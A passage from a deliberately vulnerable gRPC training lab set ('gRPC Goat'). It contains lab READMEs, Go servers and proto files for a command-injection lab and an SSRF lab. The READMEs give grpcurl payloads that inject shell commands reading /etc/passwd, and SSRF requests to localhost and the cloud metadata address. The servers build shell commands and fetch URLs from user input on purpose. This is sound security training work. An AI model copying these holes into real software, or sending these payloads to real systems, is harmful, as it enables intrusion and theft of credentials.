25 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles
26 |
27 | # Command injection - read flag file
28 | grpcurl -plaintext -d '{
29 | "directory": "/tmp; cat /tmp/flag.txt"
30 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles
31 |
32 | # Command injection - execute whoami
33 | grpcurl -plaintext -d '{
34 | "directory": "/tmp; whoami"
35 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles
36 |
37 | # Command injection - read system files
38 | grpcurl -plaintext -d '{
39 | "directory": "/tmp; cat /etc/passwd"
40 | }' localhost:8008 fileprocessor.FileProcessor/ListFiles
41 | ```
42 |
43 | ## Impact
44 | Attackers can execute arbitrary commands through the file listing functionality.
45 |
46 | ## Flag
47 | Successfully read the flag file to get: `GRPC_GOAT{command_injection_file_listing}`
48 |
49 | ## Mitigation
50 | Validate directory paths and avoid shell execution with user input.
--------------------------------------------------------------------------------
/labs/grpc-008-grpc-command-injection/server/go.mod:
--------------------------------------------------------------------------------
1 | module grpc-goat/labs/grpc-008-grpc-command-injection/server
2 |
3 | go 1.23
4 |
5 | require (
6 | google.golang.org/grpc v1.58.3
7 | google.golang.org/protobuf v1.31.0
8 | )
9 |
10 | require (
11 | github.com/golang/protobuf v1.5.3 // indirect
12 | golang.org/x/net v0.12.0 // indirect
13 | golang.org/x/sys v0.10.0 // indirect
14 | golang.org/x/text v0.11.0 // indirect
15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect
16 | )
17 |
--------------------------------------------------------------------------------
/labs/grpc-008-grpc-command-injection/server/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "log"
7 | "net"
8 | "os/exec"
9 | "strings"
10 |
11 | "google.golang.org/grpc"
12 | "google.golang.org/grpc/peer"
13 |
14 | pb "grpc-goat/labs/grpc-008-grpc-command-injection/server/proto"
15 | )
16 |
17 | // unaryInterceptor logs client connections
18 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {
19 | peer, ok := peer.FromContext(ctx)
20 | if ok {
21 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod)
22 | }
23 | return handler(ctx, req)
24 | }
25 |
26 | type fileProcessorServer struct {
27 | pb.UnimplementedFileProcessorServer
28 | }
29 |
30 | func newFileProcessorServer() *fileProcessorServer {
31 | return &fileProcessorServer{}
32 | }
33 |
34 | func (s *fileProcessorServer) ListFiles(ctx context.Context, req *pb.ListFilesRequest) (*pb.ListFilesResponse, error) {
35 | log.Printf("Listing files in directory: %s", req.Directory)
36 |
37 | // VULNERABILITY: Command injection - directly using user input
38 | command := fmt.Sprintf("ls -la %s", req.Directory)
39 |
40 | log.Printf("Executing command: %s", command)
41 |
42 | output, err := exec.Command("sh", "-c", command).Output()
43 | if err != nil {
44 | return &pb.ListFilesResponse{
45 | Success: false,
46 | Output: fmt.Sprintf("Command execution failed: %v", err),
47 | }, nil
48 | }
49 | outputStr := strings.TrimSpace(string(output))
50 | flag := ""
51 |
52 | // Check if flag was read through command injection
53 | if strings.Contains(outputStr, "GRPC_GOAT{command_injection_file_listing}") {
54 | flag = "GRPC_GOAT{command_injection_file_listing}"
55 | }
56 |
57 | return &pb.ListFilesResponse{
58 | Success: true,
59 | Output: outputStr,
60 | Flag: flag,
61 | }, nil
62 | }
63 |
64 | func main() {
65 | lis, err := net.Listen("tcp", ":8008")
66 | if err != nil {
67 | log.Fatalf("Failed to listen: %v", err)
68 | }
69 |
70 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor))
71 | pb.RegisterFileProcessorServer(s, newFileProcessorServer())
72 |
73 | log.Println("File Listing gRPC server starting on port 8008...")
74 |
75 | if err := s.Serve(lis); err != nil {
76 | log.Fatalf("Failed to serve: %v", err)
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/labs/grpc-008-grpc-command-injection/server/proto/file_processor.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package fileprocessor;
4 |
5 | option go_package = "grpc-goat/labs/grpc-008-grpc-command-injection/server/proto";
6 |
7 | // FileProcessor provides file listing and management
8 | service FileProcessor {
9 | // ListFiles lists files in the specified directory
10 | rpc ListFiles(ListFilesRequest) returns (ListFilesResponse);
11 | }
12 |
13 | message ListFilesRequest {
14 | string directory = 1; // Directory to list (vulnerable parameter)
15 | }
16 |
17 | message ListFilesResponse {
18 | bool success = 1;
19 | string output = 2;
20 | string flag = 3; // CTF flag for completing this challenge
21 | }
22 |
--------------------------------------------------------------------------------
/labs/grpc-009-ssrf/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS builder
2 |
3 | # Set Go environment
4 | ENV GOTOOLCHAIN=go1.23.4
5 |
6 | # Install protoc and plugins
7 | RUN apk add --no-cache protobuf-dev
8 | RUN go version
9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0
10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0
11 |
12 | WORKDIR /app
13 | COPY server/ .
14 |
15 | # Generate protobuf code
16 | RUN protoc --go_out=. --go_opt=paths=source_relative \
17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \
18 | proto/image_preview.proto
19 |
20 | # Build the application
21 | RUN go mod tidy
22 | RUN CGO_ENABLED=0 go build -o image-preview main.go
23 |
24 | # Final stage
25 | FROM alpine:latest
26 | RUN apk --no-cache add ca-certificates
27 |
28 | WORKDIR /root/
29 |
30 | COPY --from=builder /app/image-preview .
31 |
32 | EXPOSE 8009
33 |
34 | CMD ["./image-preview"]
35 |
--------------------------------------------------------------------------------
/labs/grpc-009-ssrf/Readme.md:
--------------------------------------------------------------------------------
1 | # Lab 009: SSRF (Server-Side Request Forgery)
2 |
3 | ## Vulnerability
4 | Image Preview service that fetches images from user-provided URLs without validation.
5 |
6 | ## Objective
7 | Exploit SSRF to access internal services and capture the flag.
8 |
9 | ## Run the Lab
10 | ```bash
11 | # Build and run
12 | docker build -t grpc-009 .
13 | docker run -p 8009:8009 grpc-009
14 | ```
15 |
16 | ## Exploit
17 |
18 | ```bash
19 | # Install grpcurl
20 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
21 |
22 | # Normal image fetch (external URL)
23 | grpcurl -plaintext -d '{
24 | "url": "https://httpbin.org/get"
25 | }' localhost:8009 imagepreview.ImagePreview/FetchImage
26 |
27 | # SSRF - Access internal flag server
28 | grpcurl -plaintext -d '{
29 | "url": "http://localhost:8080/flag"
30 | }' localhost:8009 imagepreview.ImagePreview/FetchImage
31 |
32 | # SSRF - Access internal service root
33 | grpcurl -plaintext -d '{
34 | "url": "http://127.0.0.1:8080"
35 | }' localhost:8009 imagepreview.ImagePreview/FetchImage
36 |
37 | # SSRF - Access metadata service (cloud environments)
38 | grpcurl -plaintext -d '{
39 | "url": "http://169.254.169.254/latest/meta-data/"
40 | }' localhost:8009 imagepreview.ImagePreview/FetchImage
41 |
42 | # SSRF - Access internal network
43 | grpcurl -plaintext -d '{
44 | "url": "http://127.0.0.1:22"
45 | }' localhost:8009 imagepreview.ImagePreview/FetchImage
46 | ```
47 |
48 | ## Impact
49 | Attackers can access internal services, cloud metadata, and local files.
50 |
51 | ## Flag
52 | Successfully access internal resources to get: `GRPC_GOAT{ssrf_internal_service_access}`
53 |
54 | ## Mitigation
55 | Validate URLs, use allowlists, and restrict network access for the service.
56 |
--------------------------------------------------------------------------------
/labs/grpc-009-ssrf/server/go.mod:
--------------------------------------------------------------------------------
1 | module grpc-goat/labs/grpc-009-ssrf/server
2 |
3 | go 1.23
4 |
5 | require (
6 | google.golang.org/grpc v1.58.3
7 | google.golang.org/protobuf v1.31.0
8 | )
9 |
10 | require (
11 | github.com/golang/protobuf v1.5.3 // indirect
12 | golang.org/x/net v0.12.0 // indirect
13 | golang.org/x/sys v0.10.0 // indirect
14 | golang.org/x/text v0.11.0 // indirect
15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect
16 | )
17 |
--------------------------------------------------------------------------------
/labs/grpc-009-ssrf/server/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "io"
7 | "log"
8 | "net"
9 | "net/http"
10 | "time"
11 |
12 | "google.golang.org/grpc"
13 | "google.golang.org/grpc/peer"
14 |
15 | pb "grpc-goat/labs/grpc-009-ssrf/server/proto"
16 | )
17 |
18 | // unaryInterceptor logs client connections
19 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {
20 | peer, ok := peer.FromContext(ctx)
21 | if ok {
22 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod)
23 | }
24 | return handler(ctx, req)
25 | }
26 |
27 | type imagePreviewServer struct {
28 | pb.UnimplementedImagePreviewServer
29 | }
30 |
31 | func newImagePreviewServer() *imagePreviewServer {
32 | return &imagePreviewServer{}
33 | }
34 |
35 | // startFlagServer starts a local HTTP server with the flag
36 | func startFlagServer() {
37 | http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
38 | if r.URL.Path == "/flag" {
39 | fmt.Fprint(w, "GRPC_GOAT{ssrf_internal_service_access}")
40 | } else {
41 | fmt.Fprint(w, "Internal service - try /flag endpoint")
42 | }
43 | })
44 |
45 | log.Println("Starting internal flag server on localhost:8080")
46 | go func() {
47 | if err := http.ListenAndServe("127.0.0.1:8080", nil); err != nil {
48 | log.Printf("Flag server error: %v", err)
49 | }
50 | }()
51 | }
52 |
53 | func (s *imagePreviewServer) FetchImage(ctx context.Context, req *pb.FetchImageRequest) (*pb.FetchImageResponse, error) {
54 | log.Printf("Fetching image from URL: %s", req.Url)
55 |
56 | // VULNERABILITY: SSRF - directly fetching user-provided URLs without validation
57 | client := &http.Client{
58 | Timeout: 10 * time.Second,
59 | }
60 |
61 | resp, err := client.Get(req.Url)
62 | if err != nil {
63 | return &pb.FetchImageResponse{
64 | Success: false,
65 | Content: "Failed to fetch URL: " + err.Error(),
66 | }, nil
67 | }
68 | defer resp.Body.Close()
69 |
70 | // Read response content
71 | body, err := io.ReadAll(resp.Body)
72 | if err != nil {
73 | return &pb.FetchImageResponse{
74 | Success: false,
75 | Content: "Failed to read response: " + err.Error(),
76 | }, nil
77 | }
78 |
79 | content := string(body)
80 |
81 | return &pb.FetchImageResponse{
82 | Success: true,
83 | Content: content,
84 | }, nil
85 | }
86 |
87 | func main() {
88 | // Start the internal flag server
89 | startFlagServer()
90 | time.Sleep(1 * time.Second) // Give flag server time to start
91 |
92 | lis, err := net.Listen("tcp", ":8009")
93 | if err != nil {
94 | log.Fatalf("Failed to listen: %v", err)
95 | }
96 |
97 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor))
98 | pb.RegisterImagePreviewServer(s, newImagePreviewServer())
99 |
100 | log.Println("Image Preview gRPC server starting on port 8009...")
101 | log.Println("Internal flag server running on localhost:8080")
102 |
103 | if err := s.Serve(lis); err != nil {
104 | log.Fatalf("Failed to serve: %v", err)
105 | }
106 | }
107 |
--------------------------------------------------------------------------------
/labs/grpc-009-ssrf/server/proto/image_preview.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package imagepreview;
4 |
5 | option go_package = "grpc-goat/labs/grpc-009-ssrf/server/proto";
6 |
7 | // ImagePreview fetches and processes images from URLs
8 | service ImagePreview {
9 | // FetchImage fetches an image from the provided URL
10 | rpc FetchImage(FetchImageRequest) returns (FetchImageResponse);
11 | }
12 |
13 | message FetchImageRequest {
14 | string url = 1; // Image URL to fetch (vulnerable parameter)
15 | }
16 |
17 | message FetchImageResponse {
18 | bool success = 1;
19 | string content = 2; // Image content or response data
20 | }
21 |
--------------------------------------------------------------------------------
/protos/README.md:
--------------------------------------------------------------------------------
1 | # gRPC Goat Proto Files
2 |
3 | This directory contains all the Protocol Buffer (.proto) files for the gRPC Goat labs. These files are needed to interact with the gRPC services using tools like grpcurl, Postman, or custom clients.
4 |
5 | ## Usage
6 |
7 | ### With grpcurl
8 | ```bash
9 | # Example: Lab 002 - Auth Service
10 | grpcurl -plaintext -proto protos/lab-002-auth.proto \
11 | -d '{"username": "admin", "password": "password"}' \
12 | localhost:8002 auth.AuthService/Login
13 | ```
14 |
15 | ### With Postman
16 | 1. Import the proto file in Postman's gRPC request
17 | 2. Select the service and method
18 | 3. Fill in the request data
19 | 4. Send the request
20 |
21 | ### With Custom Clients
22 | Use these proto files to generate client code in your preferred language:
23 | ```bash
24 | # Generate Go client
25 | protoc --go_out=. --go-grpc_out=. protos/lab-002-auth.proto
26 |
27 | # Generate Python client
28 | python -m grpc_tools.protoc -I protos --python_out=. --grpc_python_out=. protos/lab-002-auth.proto
29 | ```
30 |
31 | ## Lab Proto Files
32 |
33 | | Lab | Service | Proto File | Description |
34 | |-----|---------|------------|-------------|
35 | | 001 | Service Discovery | *Uses reflection* | No proto file needed |
36 | | 002 | Auth Service | `lab-002-auth.proto` | User authentication |
37 | | 003 | Billing Service | `lab-003-billing.proto` | Payment processing |
38 | | 004 | Partner API | `lab-004-partner.proto` | Partner integrations |
39 | | 005 | Partner API v2 | `lab-005-partner-v2.proto` | Enhanced partner API |
40 | | 006 | Admin Service | `lab-006-admin.proto` | System administration |
41 | | 007 | User Directory | `lab-007-user-directory.proto` | Employee profiles |
42 | | 008 | File Processor | `lab-008-file-processor.proto` | File processing |
43 | | 009 | Image Preview | `lab-009-image-preview.proto` | Image fetching |
44 |
45 | ## Notes
46 |
47 | - Lab 001 uses gRPC reflection, so no proto file is needed
48 | - All other labs require the corresponding proto file for client interaction
49 | - Proto files are copied from each lab's `server/proto/` directory
50 | - These files are kept in sync with the actual service implementations
51 |
--------------------------------------------------------------------------------
/protos/lab-002-auth.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package auth;
4 |
5 | option go_package = "grpc-goat/labs/grpc-002-plaintext-grpc/server/proto";
6 |
7 | // AuthService handles user authentication
8 | service AuthService {
9 | // Login authenticates a user and returns a session token
10 | rpc Login(LoginRequest) returns (LoginResponse);
11 | }
12 |
13 | message LoginRequest {
14 | string username = 1;
15 | string password = 2;
16 | }
17 |
18 | message LoginResponse {
19 | bool success = 1;
20 | string message = 2;
21 | string session_token = 3;
22 | string flag = 4; // CTF flag for completing this challenge
23 | }
24 |
--------------------------------------------------------------------------------
/protos/lab-003-billing.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package billing;
4 |
5 | option go_package = "grpc-goat/labs/grpc-003-insecure-tls/server/proto";
6 |
7 | // BillingService processes customer payments
8 | service BillingService {
9 | // ProcessPayment processes a customer payment
10 | rpc ProcessPayment(PaymentRequest) returns (PaymentResponse);
11 | }
12 |
13 | message PaymentRequest {
14 | string customer_id = 1;
15 | string card_number = 2;
16 | string expiry_date = 3;
17 | string cvv = 4;
18 | double amount = 5;
19 | string currency = 6;
20 | }
21 |
22 | message PaymentResponse {
23 | bool success = 1;
24 | string message = 2;
25 | string transaction_id = 3;
26 | string flag = 4; // CTF flag for completing this challenge
27 | }
28 |
--------------------------------------------------------------------------------
/protos/lab-004-partner.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package partner;
4 |
5 | option go_package = "grpc-goat/labs/grpc-004-arbitary-mtls/server/proto";
6 |
7 | // PartnerAPI exposes partner integrations
8 | service PartnerAPI {
9 | // GetPartnerData returns sensitive partner information
10 | rpc GetPartnerData(PartnerDataRequest) returns (PartnerDataResponse);
11 | }
12 |
13 | message PartnerDataRequest {
14 | string partner_id = 1;
15 | string data_type = 2;
16 | }
17 |
18 | message PartnerDataResponse {
19 | bool success = 1;
20 | string message = 2;
21 | repeated PartnerInfo partners = 3;
22 | string flag = 4; // CTF flag for completing this challenge
23 | }
24 |
25 | message PartnerInfo {
26 | string partner_id = 1;
27 | string name = 2;
28 | string api_key = 3;
29 | string secret = 4;
30 | repeated string permissions = 5;
31 | }
32 |
--------------------------------------------------------------------------------
/protos/lab-005-partner-v2.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package partner;
4 |
5 | option go_package = "grpc-goat/labs/grpc-005-arbitary-mtls-withsubject/server/proto";
6 |
7 | // PartnerAPI exposes partner integrations
8 | service PartnerAPI {
9 | // GetPartnerData returns sensitive partner information
10 | rpc GetPartnerData(PartnerDataRequest) returns (PartnerDataResponse);
11 | }
12 |
13 | message PartnerDataRequest {
14 | string partner_id = 1;
15 | string data_type = 2;
16 | }
17 |
18 | message PartnerDataResponse {
19 | bool success = 1;
20 | string message = 2;
21 | repeated PartnerInfo partners = 3;
22 | string flag = 4; // CTF flag for completing this challenge
23 | }
24 |
25 | message PartnerInfo {
26 | string partner_id = 1;
27 | string name = 2;
28 | string api_key = 3;
29 | string secret = 4;
30 | repeated string permissions = 5;
31 | }
32 |
--------------------------------------------------------------------------------
/protos/lab-006-admin.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package admin;
4 |
5 | option go_package = "grpc-goat/labs/grpc-006-pipe-world-read-write/server/proto";
6 |
7 | // AdminService provides privileged system operations
8 | service AdminService {
9 | // GetSystemInfo returns sensitive system information
10 | rpc GetSystemInfo(SystemInfoRequest) returns (SystemInfoResponse);
11 |
12 | // ExecuteCommand runs system commands (admin only)
13 | rpc ExecuteCommand(CommandRequest) returns (CommandResponse);
14 | }
15 |
16 | message SystemInfoRequest {
17 | // Empty request
18 | }
19 |
20 | message SystemInfoResponse {
21 | bool success = 1;
22 | string hostname = 2;
23 | string username = 3;
24 | string working_directory = 4;
25 | repeated string environment_vars = 5;
26 | }
27 |
28 | message CommandRequest {
29 | string command = 1;
30 | repeated string args = 2;
31 | }
32 |
33 | message CommandResponse {
34 | bool success = 1;
35 | string output = 2;
36 | string error = 3;
37 | int32 exit_code = 4;
38 | }
39 |
--------------------------------------------------------------------------------
/protos/lab-007-user-directory.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package userdirectory;
4 |
5 | option go_package = "grpc-goat/labs/grpc-007-sql-injection/server/proto";
6 |
7 | // UserDirectory provides employee profile management
8 | service UserDirectory {
9 | // SearchUsers searches for users by username (vulnerable to SQL injection)
10 | rpc SearchUsers(SearchUsersRequest) returns (SearchUsersResponse);
11 | }
12 |
13 | message SearchUsersRequest {
14 | string username = 1; // Username search (vulnerable parameter)
15 | }
16 |
17 | message SearchUsersResponse {
18 | bool success = 1;
19 | repeated UserInfo users = 2;
20 | string flag = 3; // Flag returned when SQL injection is successful
21 | }
22 |
23 | message UserInfo {
24 | string username = 1;
25 | string email = 2;
26 | string role = 3;
27 | }
28 |
--------------------------------------------------------------------------------
/protos/lab-008-file-processor.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package fileprocessor;
4 |
5 | option go_package = "grpc-goat/labs/grpc-008-grpc-command-injection/server/proto";
6 |
7 | // FileProcessor provides file listing and management
8 | service FileProcessor {
9 | // ListFiles lists files in the specified directory
10 | rpc ListFiles(ListFilesRequest) returns (ListFilesResponse);
11 | }
12 |
13 | message ListFilesRequest {
14 | string directory = 1; // Directory to list (vulnerable parameter)
15 | }
16 |
17 | message ListFilesResponse {
18 | bool success = 1;
19 | string output = 2;
20 | string flag = 3; // CTF flag for completing this challenge
21 | }
22 |
--------------------------------------------------------------------------------
/protos/lab-009-image-preview.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package imagepreview;
4 |
5 | option go_package = "grpc-goat/labs/grpc-009-ssrf/server/proto";
6 |
7 | // ImagePreview fetches and processes images from URLs
8 | service ImagePreview {
9 | // FetchImage fetches an image from the provided URL
10 | rpc FetchImage(FetchImageRequest) returns (FetchImageResponse);
11 | }
12 |
13 | message FetchImageRequest {
14 | string url = 1; // Image URL to fetch (vulnerable parameter)
15 | }
16 |
17 | message FetchImageResponse {
18 | bool success = 1;
19 | string content = 2; // Image content or response data
20 | }
21 |
--------------------------------------------------------------------------------